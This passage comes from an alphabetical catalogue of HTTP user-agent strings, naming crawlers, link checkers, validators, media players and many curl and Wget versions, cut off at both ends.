UptimeBot(www.uptimebot.com) Uptimebot User agent: Mozilla/5.0 (Linux; Android 4.3; SPH-L710 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36 User-Agent: BoardReader Favicon Fetcher /1.0 info@boardreader.com User-Agent: BoardReader Image Fetcher /1.0 info@boardreader.com User-Agent: LjSEEK Picture-Bot /1.0 contact@ljseek.com User-Agent: FileHeap! file downloader (http://www.fileheap.com) User-Agent: Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com) User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 UtilMind HTTPGet Utopia WebWasher 3.0 Uzbl (Webkit 1.1.10) (Arch Linux) Uzbl (Webkit 1.1.12) Uzbl (Webkit 1.1.9) (Linux) Uzbl (Webkit 1.2) (Linux i686 [i686]) Uzbl (Webkit 1.3) (Linux i686 [i686]) Uzbl (X11; U; Arch Linux i686; de-DE) Webkit/1.1.10 Uzbl (X11; U; Arch Linux; de-DE) Webkit/1.1.10 VLC media player - version 0.8.5 Janus - (c) 1996-2006 the VideoLAN team VMBot/0.x.x (VMBot; http://www.VerticalMatch.com/; vmbot@tradedot.com) VORTEX/1.2 ( http://marty.anstey.ca/robots/vortex/) VSE/1.0 (testcrawler@hotmail.com) VSE/1.0 (testcrawler@vivisimo.com) VWBOT/Nutch-0.9-dev (VWBOT Nutch Crawler; http://vwbot.cs.uiuc.edu;+vwbot@cs.uiuc.edu VYU2 (GNU; OpenRISC) VadixBot Vagabondo-WAP/2.0 (webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)/1.0 Profile Vagabondo/1.x MT (webagent@wise-guys.nl) Vagabondo/2.0 MT Vagabondo/2.0 MT (webagent at wise-guys dot nl) Vagabondo/2.0 MT (webagent@NOSPAMwise-guys.nl) Vagabondo/3.0 (webagent at wise-guys dot nl) Vakes/0.01 (Vakes; http://www.vakes.com/; search@vakes.com) VayalaCreep-v0.0.1 (haploid@haploid.com) Vayala|Creep-v0.0.1 (codepoet@wildties.com) Verticrawlbot VeryGoodSearch.com.DaddyLongLegs Verzamelgids/2.2 (http://www.verzamelgids.nl) Vespa Crawler Vimprobable/0.9.20.5 VisBot/2.0 (Visvo.com Crawler; http://www.visvo.com/bot.html; bot@visvo.com) Visicom Toolbar Vision Research Lab image spider at vision.ece.ucsb.edu Vivante Link Checker (http://www.vivante.com) Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1 Vortex/2.2 ( http://marty.anstey.ca/robots/vortex/) Vortex/2.2 (+http://marty.anstey.ca/robots/vortex/) W3C-WebCon/5.x.x libwww/5.x.x W3C-checklink/2.90 libwww-perl/5.64 W3C-checklink/3.6.2.3 libwww-perl/5.64 W3C-checklink/3.x.x.x libwww-perl/5.xx W3C-checklink/4.2 [4.20] libwww-perl/5.803 W3C-checklink/4.2.1 [4.21] libwww-perl/5.803 W3C-checklink/4.3 [4.42] libwww-perl/5.805 W3C-checklink/4.3 [4.42] libwww-perl/5.808 W3C-checklink/4.3 [4.42] libwww-perl/5.820 W3C-checklink/4.5 [4.154] libwww-perl/5.823 W3C-checklink/4.5 [4.160] libwww-perl/5.823 W3C-checklink/4.x [4.xx] libwww-perl/5.xxx W3CLineMode/5.4.0 libwww/5.x.x W3CRobot/5.4.0 libwww/5.4.0 W3C_Validator/1.305.2.12 libwww-perl/5.64 W3C_Validator/1.432.2.10 W3C_Validator/1.432.2.19 W3C_Validator/1.432.2.22 W3C_Validator/1.432.2.5 W3C_Validator/1.555 W3C_Validator/1.575 W3C_Validator/1.591 W3C_Validator/1.606 W3C_Validator/1.654 W3C_Validator/1.xxx libwww-perl/5.xx W3SiteSearch Crawler_v1.1 http://www.w3sitesearch.de WAVcheck 1.0.x (http://www.webbanalys.se/apps/WAVcheck/) WDG_Validator/1.1 WDG_Validator/1.6.2 WEP Search 00 WFARC WIRE/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it) WIRE/0.x (Linux; i686; Bot,Robot,Spider,Crawler) WISEbot/1.0 (WISEbot@koreawisenut.com; http://wisebot.koreawisenut.com) WSB WebCrawler V1.0 (Beta)- cl@cs.uni-dortmund.de WSB, http://websearchbench.cs.uni-dortmund.de WWSBOT 1.x [--- http://www.analyzer.nu ---] WWW-Mechanize/1.1x WWWC/1.0x WWWOFFLE/2.x WWWeasel Robot v1.00 (http://wwweasel.de) WannaBe (Macintosh; PPC) WapOnWindows 1.0 Watchfire WebXM 1.0 Wavefire/0.8-dev (Wavefire; http://www.wavefire.com; info@wavefire.com) Waypath Scout v2.x - info at waypath dot com Waypath development crawler - info at waypath dot com WeBoX/0.xx Web Downloader Web Downloader/4.5 Web Downloader/5.7 Web Downloader/6.8 Web Downloader/6.9 Web Image Collector Web Link Validator 1.5 Web Snooper Web-Bot V1.03 Web-Robot/5.0 (en-US; web-robot.com/policy.html) Web-Robot Crawler/2.0.3 WebAlta Crawler/1.2.1 (http://www.webalta.ru/bot.html) WebAuto/3.4xxx (WinNT; I) WebBug/5.x WebCompass 2.0 WebCopier v2.8 WebCopier v3.0 WebCopier v3.2 WebCopier v3.2a WebCopier v3.3 WebCopier v4.5.2 WebCopier v4.6 WebCopier vx.x WebCopier vx.xa WebCorp/1.0 WebDownloader for X x.xx WebFetch WebFilter Robot 1.0 WebFilter Robot 1.x WebFindBot(http://www.web-find.com) WebImages 0.3 ( http://herbert.groot.jebbink.nl/?app=WebImages ) WebLight/4.x.x (support@illumit.com; http://www.illumit.com/Products/weblight/) WebMiner/x.x [en] (Win98; I) WebPix 1.0 (www.netwu.com) WebQL WebRACE/1.1 (University of Cyprus- Distributed Crawler) WebRankSpider/1.37 (+http://ulm191.server4you.de/crawler/) WebReaper [info@webreaper.net] WebReaper [webreaper@webreaper.net] WebReaper vx.x - www.webreaper.net WebSearch.COM.AU/3.0.1 (The Australian Search Engine; http://WebSearch.COM.AU; Search@WebSearch.COM.AU) WebSearchBench WebCrawler v0.1(Experimental) WebStat/1.0 (Unix; beta; 20040314) WebStripper/2.xx WebTrafficExpress/x.0 WebTrends/3.0 (WinNT) WebVac (webmaster@pita.stanford.edu) WebVal/1.0 WebVulnCrawl.unknown/1.0 libwww-perl/5.803 WebWatcherMonitor/2.01 WebZIP/3.5 (http://www.spidersoft.com) WebZIP/x.x (http://www.spidersoft.com) WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html) WebarooBot (Webaroo Bot; http://www.webaroo.com/rooSiteOwners.html) Webclipping.com Webdup/0.9 Webglimpse 2.xx.x (http://webglimpse.net) Webkit/1.1.8 (Linux; en-us) Uzbl Webkit/1.1.8 (Linux; en_US) Uzbl Weblink's checker/ Weblog Attitude Diffusion 1.0 Website Explorer/0.9.x.x Website eXtractor WebsiteWorth v1.0 Webspinne/1.0 webmaster@webspinne.de Websquash.com (Add url robot) Webster v0.3 ( http://webster.healeys.net/ ) Webverzeichnis.de - Telefon: 01908 / 26005 Wells Search II West Wind Internet Protocols 4.xx Wget/1.10.1 Wget/1.10.1 (Red Hat modified) Wget/1.10.1-beta1 Wget/1.10.2 Wget/1.10.2 (Red Hat modified) Wget/1.11.1 (Red Hat modified) Wget/1.11.4 (Red Hat modified) Wget/1.12 (freebsd8.1) Wget/1.15 (darwin13.0.2) Wget/1.5.3 Wget/1.6 Wget/1.7 Wget/1.8.1 Wget/1.8.2 Wget/1.9 Wget/1.9 cvs-stable (Red Hat modified) Wget/1.9+cvs-stable (Red Hat modified) Wget/1.9.1 Wget/1.x(.x)GNU wget http://www.gnu.org/software/wget/wget.html - file downloader Wget/1.x+cvs-stable (Red Hat modified) Wget/1.x.x+cvs Whatsup/x.x WhizBang! Lab Wildsoft Surfer Willow Internet Crawler by Twotrees V2.1 WinGet 1.1 WinHTTP Example/1.0 WinPodder (http://winpodder.com) WinWAP/3.x (3.x.x.xx; Win32) (Google WAP Proxy/1.0) WinampMPEG/2.00 (larbin@unspecified.mail) WincerSong Agent v1.0 Windows-Media-Player/10.00.00.3646 Windows-Media-Player/10.00.00.4036 Windows-Media-Player/10.00.00.xxxx Windows-Media-Player/11.0.5721.5145 Windows-Media-Player/9.00.00.3250 Windows-Media-Player/9.00.00.4503 WinkBot/0.06 (Wink.com search engine web crawler; http://www.wink.com/Wink:WinkBot; winkbot@wink.com) Wir sind die Borg (Version: 1.03, Sie wurden Assimiliert +http://www.yammba.com/suchmaschine/bot.html) WiseWire-Spider2 WoFindeIch Robot 1.0( http://www.search.wofindeich.com/robot.php) WoFindeIch Robot 1.0(+http://www.search.wofindeich.com/robot.php) WomlpeFactory/0.1 (+http://www.Womple.com/bot.html) WorQmada/1.0 WordChampBot WordPress/x.x.x.x PHP/4.x.xx WorldLight WorldWideweb (NEXT) Wotbox/alpha0.6 (bot@wotbox.com; http://www.wotbox.com) Wotbox/alpha0.x.x (bot@wotbox.com; http://www.wotbox.com) Java/1.4.1_02 Wusage/x.0@boutell.com Wwlib/Linux X-Crawler XMLSlurp/0.1 libwww-perl/5.805 XRL/2.00b1 (Linux; i686; en-us) (+http://metamark.net/about) Xaldon WebSpider Xaldon_WebSpider/2.0.b1 Xenu Link Sleuth 1.2b Xenu Link Sleuth 1.2c Xenu Link Sleuth 1.2d Xenu Link Sleuth 1.2e Xenu Link Sleuth 1.2f Xenu Link Sleuth 1.2g Xenu Link Sleuth 1.2h Xenu Link Sleuth 1.2i Xenu Link Sleuth 1.xx Xenu Link Sleuth/1.3.7 Xenu Link Sleuth/1.3.8 Xenu's Link Sleuth 1.x[a-z] Xerka WebBot v1.0.0 [UPVOpenDir] Xylix Y!J-BSC/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html) Y!J-SRD/1.0 Y!J/1.0 (http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html) Y!OASIS/TEST no-ad Mozilla/4.08 [en] (X11; I; FreeBSD 2.2.8-STABLE i386) Y!TunnelPro YTunnelPro Yahoo Pipes 1.0 Yahoo! Mindset Yahoo-Blogs/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html ) Yahoo-MMAudVid/1.0 (mms dash mmaudvidcrawler dash support at yahoo dash inc dot com) Yahoo-MMAudVid/2.0(mms dash mm aud vid crawler dash support at yahoo dash inc.com ;Mozilla 4.0 compatible; MSIE 7.0;Windows NT 5.0; .NET CLR 2.0) Yahoo-MMCrawler/3.x (mm dash crawler at trd dot overture dot com) Yahoo-Test/4.0 Yahoo-VerticalCrawler-FormerWebCrawler/3.9 crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler YahooFeedSeeker/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://publisher.yahoo.com/rssguide) YahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/) YahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/) YahooSeeker/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/yahooseeker.html) YahooSeeker/1.1 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/shop/merchant/) YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/) YahooSeeker/CafeKelsa-dev (compatible; Konqueror/3.2; FreeBSD ;cafekelsa-dev-webmaster@yahoo-inc.com ) YahooSeeker/bsv3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html ) Yandex/1.01.001 (compatible; Win16; I) Yanga WorldSearch Bot v1.1/beta (http://www.yanga.co.uk/) Yasaklibot/v1.2 (http://www.Yasakli.com/bot.php) Yeti Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follows it) Yeti/1.0 (+http://help.naver.com/robots/) Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/) YodaoBot/1.0 (http://www.yodao.com/help/webmaster/spider/; ) YottaCars_Bot/4.12 (+http://www.yottacars.com) Car Search Engine YottaShopping_Bot/4.12 (+http://www.yottashopping.com) Shopping Search Engine Z-Add Link Checker (http://w3.z-add.co.uk/linkcheck/) ZBot/1.00 (icaulfield@zeus.com) ZIPPPCVS/0.xx (ZipppBot/.xx;http://www.zippp.net; webmaster@zippp.net) Zao-Crawler Zao-Crawler 0.2b Zao/0.1 (http://www.kototoi.org/zao/) ZeBot_lseek.net (bot@ze.bz) ZeBot_www.ze.bz (ze.bz@hotmail.com) Zearchit Zend_Http_Client Zeus ThemeSite Viewer Webster Pro V2.9 Win32 Zeus xxxxx Webster Pro V2.9 Win32 Zeusbot/0.07 (Ulysseek's web-crawling robot; http://www.zeusbot.com; agent@zeusbot.com) Ziggy -- The Clown From Hell!! ZipppBot/0.xx (ZipppBot; http://www.zippp.net; webmaster@zippp.net) Zippy v2.0 - Zippyfinder.com Zoo Tycoon 2 Client -- http://www.zootycoon.com ZoomSpider - wrensoft.com Zscho.de Crawler/Nutch-1.0-Zscho.de-semantic_patch (Zscho.de Crawler ZyBorg/1.0 (ZyBorg@WISEnut.com; http://www.WISEnut.com) aardvark-crawler abot/0.1 (abot; http://www.abot.com; abot@abot.com) accoona agadine/1.x.x (+http://www.agada.de) aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com) aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com) amaya/10 libwww/5.4.0 amaya/10.1 libwww/5.4.0 amaya/11.1 amaya/5.4.0 amaya/11.1 libwww/5.4.0 amaya/11.2 amaya/5.4.0 amaya/11.2 libwww/5.4.0 amaya/11.3.1 libwww/5.4.1 amaya/8.8.5 libwww/5.4.0 amaya/9.51 libwww/5.4.0 amaya/9.52 libwww/5.4.0 amaya/9.54 libwww/5.4.0 amaya/9.55 libwww/5.4.0 amaya/x.xx libwww/x.x.x amibot amzn_assoc annotate_google; http://ponderer.org/download/annotate_google.user.js antibot-V1.1.5/i586-linux-2.2 appie 1.1 (www.walhello.com) aranhabot archive.org_bot ask.24x.info asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com) asterias/2.0 atSpider/1.0 augurfind augurnfind V-1.x autoemailspider autohttp autowebdir 1.1 (www.autowebdir.com) axadine/ (Axadine Crawler; http://www.axada.de/; ) bCentral Billing Post-Process bdcindexer_2.6.2 (research@bdc) beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/) billbot wjj@cs.cmu.edu blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/) blogsearchbot-pumpkin-3 bluefish 0.6 HTML editor boitho.com-dc/0.79 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.81 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html) boitho.com-robot/1.0 boitho.com-robot/1.1 boitho.com-robot/1.x boitho.com-robot/1.x (http://www.boitho.com/bot.html) btbot/0.4 (+http://www.btbot.com/btbot.html) bumblebee@relevare.com bwh3_user_agent cURL: curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2 carleson/1.0 ccubee/x.x cfetch/1.0 cg-eye interactive collage.cgi/1.xx combine/0.0 cometrics-bot, http://www.cometrics.de complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com) contype cosmos/0.8_(robot@xyleme.com) cosmos/0.9_(robot@xyleme.com) crawler@alexa.com csci_b659/0.13 curl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4 curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4 curl/7.11.1 (i386-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2 curl/7.11.1 (i686-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2 curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6 curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3 curl/7.13.2 (i386-pc-linux-gnu) libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13 curl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1 curl/7.15.0 (i386-portbld-freebsd5.4) libcurl/7.15.0 OpenSSL/0.9.7e zlib/1.2.1 curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18 curl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.0 curl/7.15.3 (sparc64--netbsd) libcurl/7.15.3 OpenSSL/0.9.7d zlib/1.1.4 libidn/0.6.3 curl/7.15.4 (i686-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.3 curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5 curl/7.16.1 (i386-pc-win32) libcurl/7.16.1 OpenSSL/0.9.8h zlib/1.2.3 curl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8 curl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3 curl/7.16.4 (i486-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8e zlib/1.2.3.3 libidn/1.0 curl/7.17.1 (x86_64-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8g zlib/1.2.3 curl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1 curl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8 curl/7.18.2 (x86_64-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18 curl/7.19.0 (x86_64-suse-linux-gnu) libcurl/7.19.0 OpenSSL/0.9.8h zlib/1.2.3 libidn/1.10 curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8c zlib/1.2.3 curl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3 libidn/1.11 libssh2/0.18 curl/7.19.4 (i686-pc-cygwin) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/1.9 libssh2/1.0 curl/7.19.4 (universal-apple-darwin10.0) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15 curl/7.19.5 (i586-pc-mingw32msvc) libcurl/7.19.5 zlib/1.2.3 curl/7.19.6 (i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3 curl/7.19.6 (i386-redhat-linux-gnu) libcurl/7.19.6 NSS/3.12.4.5 zlib/1.2.3 libidn/1.9 libssh2/1.2 curl/7.19.6 (i686-pc-cygwin) libcurl/7.19.6 OpenSSL/0.9.8n zlib/1.2.3 libidn/1.18 libssh2/1.2 curl/7.19.7 (i386-apple-darwin9.8.0) libcurl/7.19.7 zlib/1.2.3 curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.5.0 zlib/1.2.3 libidn/1.9 libssh2/1.2.2 curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8o zlib/1.2.3.3 libidn/1.15 curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1e zlib/1.2.3 libidn/1.18 libssh2/1.4.3 curl/7.20.0 (i386-apple-darwin9.8.0) libcurl/7.20.0 OpenSSL/0.9.8m zlib/1.2.3 libidn/1.16 curl/7.20.0 (i686-pc-linux-gnu) libcurl/7.20.0 OpenSSL/0.9.8n zlib/1.2.4 curl/7.21.0 (i486-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.6 curl/7.21.0 (i686-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 curl/7.21.0 (x86_64-apple-darwin10.2.0) libcurl/7.21.0 OpenSSL/1.0.0a zlib/1.2.5 libidn/1.19 curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.5 curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.5 curl/7.21.1 (i686-pc-linux-gnu) libcurl/7.21.1 OpenSSL/1.0.0a zlib/1.2.5 curl/7.21.2 (i386-pc-win32) libcurl/7.21.2 OpenSSL/0.9.8o zlib/1.2.5 curl/7.21.3 (x86_64-redhat-linux-gnu) libcurl/7.21.3 NSS/3.13.1.0 zlib/1.2.5 libidn/1.19 libssh2/1.2.7 curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c zlib/1.2.5 curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5 curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b) curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled) curl/7.8 (i386-redhat-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6b) (ipv6 enabled) curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6) curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled) curl/7.9.x (win32) libcurl 7.9.x dCSbot/1.1 daypopbot/0.x dbDig(http://www.prairielandconsulting.com) dds explorer v1.0 beta de.searchengine.comBot 1.2 (http://de.searchengine.com/spider) deepak-USC/ISI del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko) dev-spider2.searchpsider.com/1.3b disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us) disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com) disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com) dlman dloader(NaverRobot)/1.0 dodgebot/experimental dtSearchSpider e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/) e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html) eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com) eCatch/3.0 eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0) egothor/3.0a (+http://www.xdefine.org/robot.html) ejupiter.com elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/) endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo) envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php) envolk[ITS]spider/1.6 ( http://www.envolk.com/envolkspider.html) envolk[ITS]spider/1.6 (+http://www.envolk.com/envolkspider.html) envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html) eseek-larbin_2.6.2 (crawler@exactseek.com) eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de) everyfeed-spider/2.0 (http://www.everyfeed.com) exactseek-crawler-2.63 (crawler@exactseek.com) exactseek-pagereaper-2.63 (crawler@exactseek.com) exactseek.com exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com) exooba/exooba crawler (exooba; exooba) facebookexternalhit/1.1 facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php) factbot : http://www.factbites.com/robots fastbot crawler beta 2.0 (+http://www.fastbot.de) favo.eu crawler/0.6 (http://www.favo.eu) fetch libfetch/2.0 fileboost.net/1.0 (+http://www.fileboost.net) findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a4 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a8 ( http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/) firstsbot flunky fly/6.01 libwww/4.0D flyindex.net 1.0/http://www.flyindex.net free-downloads.net download-link validator /0.1 g2Crawler nobody@airmail.net gamekitbot/1.0 (+http://www.uchoose.de/crawler/gamekitbot/) gazz/x.x (gazz@nttrd.com) geckobot generic_crawler/01.0217/ genieBot ((http://64.5.245.11/faq/faq.html)) genieBot (http://64.5.245.11/faq/faq.html) geniebot wgao@genieknows.com geourl/2.0b2 gigabaz/3.1x (baz@gigabaz.com; http://gigabaz.com/gigabaz/) gonzo1[P] +http://www.suchen.de/popups/faq.jsp gonzo2[P] +http://www.suchen.de/faq.html googlebot (larbin2.6.0@unspecified.mail) great-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@flatlandindustries.com) gridwell (http://search.gridwell.com) grub crawler(http://www.grub.org) grub-client grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org) gsa-crawler (Enterprise; GID-01422; jplastiras@google.com) gsa-crawler (Enterprise; GID-01742;gsatesting@rediffmail.com) gsa-crawler (Enterprise; GIX-02057; dm@enhesa.com) gsa-crawler (Enterprise; GIX-03519; cknuetter@stubhub.com) gsa-crawler (Enterprise; GIX-0xxxx; enterprise-training@google.com) hbtronix.spider.2 -- http://hbtronix.de/spider.php hgrepurl/1.0 hl_ftien_spider hl_ftien_spider_v1.1 holmes/3.11 (http://morfeo.centrum.cz/bot) holmes/3.12.1 (http://morfeo.centrum.cz/bot) holmes/3.12.2 (http://morfeo.centrum.cz/bot) holmes/3.12.3 (http://morfeo.centrum.cz/bot) holmes/3.12.4 (http://morfeo.centrum.cz/bot) holmes/3.9 (onet.pl) holmes/3.9 (someurl.co.cc) holmes/3.xx (OnetSzukaj/5.0; +http://szukaj.onet.pl) holmes/x.x htdig/3.1.5 htdig/3.1.5 (infosys@storm.rmi.org) htdig/3.1.5 (root@localhost) htdig/3.1.5 (webmaster@online-medien.de) htdig/3.1.6 (http://computerorgs.com) htdig/3.1.6 (mathieu.peltier@inrialpes.fr) 